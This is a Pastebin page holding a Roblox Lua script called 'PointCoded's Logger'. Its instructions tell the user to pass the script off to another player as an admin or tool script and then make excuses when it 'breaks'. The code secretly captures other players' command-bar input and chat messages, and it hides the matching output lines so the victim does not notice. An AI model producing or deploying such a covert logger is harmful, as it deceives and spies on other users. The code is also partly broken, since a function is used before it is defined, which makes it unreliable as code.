Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- PointCoded's Logger
- Instructions
- 1:Set The Configurations below [ Put ur username where it says YOUR USERNAME HERE ]
- 2:Run It On Someone, Say It Is An Admin Or Tool Script (The Script Is Local)
- 3:When It Doesnt Work, Say Hmm Must Have Broke
- 4:Run The Actual Tool Script On Them
- 5:When ever their inputbar changes, you get the link/text
- ]]--
- --[[Config]]--
- local You = "YOUR USERNAME HERE"
- local LogChat = true
- local LogInput = true
- --[[Dont Touch]]--
- for _,V in pairs(game.Players:GetPlayers()) do
- if V:findFirstChild("PlayerGui") and LogInput == true then
- local PG = V:findFirstChild("PlayerGui")
- local Output = PG:findFirstChild("SB_OutputGUI")
- local Task = Output:findFirstChild("Task")
- local InputBar = Task:findFirstChild("InputBar")
- InputBar.Changed:connect(function()
- wait(math.random(0.1,2))
- if InputBar.Text ~="Click here or press (') to run a command" then
- print(InputBar.Text)
- Disallow(InputBar.Text)
- for i,v in pairs(Output.Main.Output.Content.List.Entries:GetChildren()) do
- if v.Text == "> ["..You.."]: "..InputBar.Text or v.Text == "> "..InputBar.Text then
- v.Text = ""
- v.TextColor3 = Color3.new(170, 0, 0)
- end
- end
- end
- end)
- end
- end
- if LogChat == true then
- game.Players.LocalPlayer.Chatted:connect(function(msg)
- print(msg)
- local PG = game.Players.LocalPlayer:findFirstChild("PlayerGui")
- local Output = PG:findFirstChild("SB_OutputGUI")
- Disallow(msg)
- for i,v in pairs(Output.Main.Output.Content.List.Entries:GetChildren()) do
- if v.Text == "> ["..You.."]: "..msg or v.Text == "> "..msg then
- v.Text = ""
- v.TextColor3 = Color3.new(170, 0, 0)
- end
- end
- end)
- end
- function Disallow(Phrase)
- game:GetService("RunService").RenderStepped:connect(function()
- local PG = game.Players.LocalPlayer:findFirstChild("PlayerGui")
- local Output = PG:findFirstChild("SB_OutputGUI")
- for i,v in pairs(Output.Main.Output.Content.List.Entries:GetChildren()) do
- if v.Text == "> ["..You.."]: "..Phrase or v.Text == "> "..Phrase then
- v.Text = ""
- v.TextColor3 = Color3.new(170, 0, 0)
- end
- end
- end)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement